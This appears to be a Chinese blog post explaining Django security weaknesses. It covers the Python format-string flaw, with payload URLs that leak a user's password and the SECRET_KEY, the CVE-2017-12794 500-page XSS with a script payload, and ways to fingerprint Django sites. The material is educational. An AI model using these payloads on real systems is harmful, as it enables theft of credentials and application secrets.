版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/cemao4548/article/details/81008661
Python字符串格式化漏洞
- “My name is %s” % (‘phithon’, )
- “My name is %(name)%” % {‘name’:’phithon’}
上面是普通调用和字典调用
对应高级一点的可以有对象调用,如下
- “{user.username}”.format(user=request.username)
user是request传过来的对象,格式化输出这个对象的username属性
读取用户密码
def view(request):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
有如上视图,payload为http://xxx.xxxx.xxx:8000/view?email={user.password}
就能输出密码,这里明天补张图。
读取Django配置
Django自带的admin管理工具中admin.py包含了settings.py
可构造payload
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
SECRET_KEY可以换成其他的settings属性
这里明天再补张图。
Django XSS漏洞 CVE-2017-12794
django500页面出现的漏洞
插入两次同样的数据,由于数据库完整性约束,数据库抛出错误,django调取500页面显示错误,会将输入的数据显示出来。
如注册页面未过滤用户名注册用户名为<script>alert(1)</script>
再注册一个用户名为<script>alert(1)</script>
就会出现debug的500页面,并alert一个1。
Django框架指纹识别依据
- 利用Debug模式异常页面判断
- CSRF Token名称确认,表单中隐藏了一个input名为csrfmiddlewaretoken
- 利用后台确认xxx.xxx:8000/admin/
- 利用HTTP头SERVER:WSGIServer/0.2 CPython/3.5.2
- html中会有很多空行
- 利用第三方模块的特征判断。常用的第三方模块有django-rest-framework、django-debug-toolbar、django-bootstrap3、django-filter、django-cron、django-allauth、django-simple-captcha等。比如,django-rest-framework默认包含一个登陆页面,/api-auth/login/
- 用静态文件分析:
https://xxx.xxx.xxx/static/admin/css/dashboard.css
http://xxx.xxx.xxx/static/admin/css/dashboard.css
http://xxx.xxx.xxx/static/admin/css/dashboard.css
http://xxx.xxx.xxx/static/admin/css/dashboard.css